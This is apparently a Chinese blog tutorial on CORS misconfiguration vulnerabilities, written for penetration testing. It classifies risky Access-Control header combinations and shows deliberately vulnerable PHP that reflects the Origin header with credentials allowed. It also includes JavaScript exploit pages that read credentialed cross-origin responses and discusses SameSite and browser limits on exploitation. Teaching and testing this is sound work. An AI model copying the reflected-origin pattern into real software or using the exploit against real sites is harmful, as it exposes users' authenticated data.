文章目录
- 1、小结
- 1.1、存在漏洞的情况:
- 1.2、常见的cors设置(php举例)
- 2、漏洞复现
- 2.1、无需cookie
- 2.2、需要cookie
- 2.3、需要cookie的方式利用限制
- 3、补充与疑惑
1、小结
cors漏洞在20230404基本无了
估计很多乙方工作得同学都拿这个漏洞凑数(可能大部分都不太了解,错失许多高危)
现在这个漏洞基本就是凑数了,在浏览器不断优化得情况下,最终也许会消失
1.1、存在漏洞的情况:
1 如果返回头是以下情况,那么就是高危漏洞,这种情况下漏洞最好利用:
Access-Control-Allow-Origin: https://www.attacker.com(备注:www.attacker.com为恶意网站)
Access-Control-Allow-Credentials: true
实际上,就是此设置真实利用也较为困难;
主要原因是从20年开始, Google在Chrome开始支持Cookie的新属性SameSite
(该属性目前已经得到了业界各类大众浏览器的支持)
2 如果返回头是以下情况,那么也可以认为是高危漏洞,只是利用起来麻烦一些:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
3 如果返回以下,则不存在漏洞,因为Null必须是小写才存在漏洞:
Access-Control-Allow-Origin: Null
Access-Control-Allow-Credentials: true
4 如果返回以下,可认为不存在漏洞,因为CORS安全机制阻止了这种情况下的漏洞利用,也可以写上低危的CORS配置错误问题。
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
5 如果返回以下,可认为不存在漏洞,也可以写上低危的CORS配置错误问题。
Access-Control-Allow-Origin: *
1.2、常见的cors设置(php举例)
1.允许所有源
<?php header("Access-Control-Allow-Origin: *"); ?>
2.允许来自所有源的访问(危险)
<?php header('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']); ?>
3.配置多个访问源(白名单)
<?php
$allowed_origins = array(
"http://www.example.com" ,
"http://app.example.com" ,
"http://cms.example.com" ,
);
if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)){
<span class="label label-primary">@header(</span>"Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
}
?>
2、漏洞复现
漏洞的情况分为两种,
一种是无需cookie的(实际上这种场景,直接提交未授权访问会更好)
一种是需要cookie的
2.1、无需cookie
漏洞网站:
apiVuln.php
<?php
header("Access-Control-Allow-Origin: *");
header("content-type:application/json");
$info = array('user'=>'xq17', 'pass'=>'123456');
echo json_encode($info); //json_encode对变量进行 JSON 编码
攻击代码如下:
exp.php
window.onload = function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
xhttp.open("GET", "http://受害网站.com:8888/cors/apiVuln.php", true);
xhttp.send();
}
攻击结果,
2.2、需要cookie
测试环境:
php版本:7.3.4 (低版本无法设置cookie的 samesite 属性)
谷歌浏览器:版本 111.0.5563.147(正式版本) (64 位)
火狐浏览器:版本 111.0.5563.147(正式版本) (64 位)
新版ie浏览器:版本 111.0.1661.62 (正式版本) (64 位)
burp自带浏览器:版本 95.0.4638.69(正式版本) (64 位)
受害者网站代码,
f1.php
<?php
//phpinfo();
// 中文乱码修复
header('Content-Type: text/html; charset=utf-8');
// 假设前端通过POST请求传递了用户名和密码
$username = $_GET['user'];
$password = $_GET['pass'];
// 检查用户名和密码是否正确,此处应该从数据库中查询用户信息
if ($username === 'admin' && $password === '123456') {
// 如果用户名和密码正确,设置Cookie
// setcookie('user', $username, time() + 3600, '/');
$options = [
'Secure' => true,
'httponly' => false,
'samesite' => 'None',
];
setcookie('user', $username, $options);
// 返回登录成功的响应
echo '登录成功';
} else {
// 返回登录失败的响应
echo '用户名或密码错误';
}
?>
f2.php
<?php
// 中文乱码修复
header('Content-Type: text/html; charset=utf-8');
//header("Access-Control-Allow-Origin: http://10.2.63.8");
//header("Access-Control-Allow-Origin: *");
<span class="label label-primary">@header('Access-Control-Allow-Origin</span>: '.$_SERVER['HTTP_ORIGIN']);
header("Access-Control-Allow-Credentials: true");
// 首先检查用户是否已经登录
if (!isset($_COOKIE['user'])) {
// 如果尚未登录,重定向到登录页面
//header('Location: login.php');
echo('未登录');
exit();
}
// 如果已经登录,从Cookie中获取用户名
$user = $_COOKIE['user'];
// 显示欢迎消息,或者其他需要登录才可以查看的内容
echo "欢迎您,{$user}!\n<br>";
echo "密码为:123456";
?>
攻击exp.php
window.onload = function cors() {
// // 获取已经取到的cookie
// // var xhttp1 = new XMLHttpRequest();
// // xhttp1.open("GET", "http://10.12.50.197/login.php", true);
// // xhttp1.withCredentials = true;
// // xhttp1.send();
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "https://ccc.com/f2.php", true);
xhttp.withCredentials = true;
xhttp.send();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
}
测试流程:
受害者先访问f1.php进行登录,然后访问f2.php看看能不能正常获取。
都可以了,在访问exp.php才会触发
2.3、需要cookie的方式利用限制
需要同时满足所有:
~受害者网站需要存在cors漏洞(以最理想的状态举例)
Access-Control-Allow-Origin: https://www.attacker.com(备注:www.attacker.com为恶意网站)
Access-Control-Allow-Credentials: true
~受害者网站需要设置cookie内属性
secure; SameSite=None 、、低版本的php无法设置
~受害者网站需要使用https协议
不然上一步 cookie属性设置无效
如果设置SameSite为None
(前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效)。
~受害者使用ie浏览器/低版本谷歌浏览器
3、补充与疑惑
本文有其他错误/不足,欢迎各位指出~~
不设置 secure; SameSite=None 新版本ie可以成功吗
不能
不设置https 新版本ie可以成功吗
不能
为什么满足所有测试条件,新版本的谷歌/火狐浏览器仍然失败?
有同学了解的话,欢迎留言沟通指导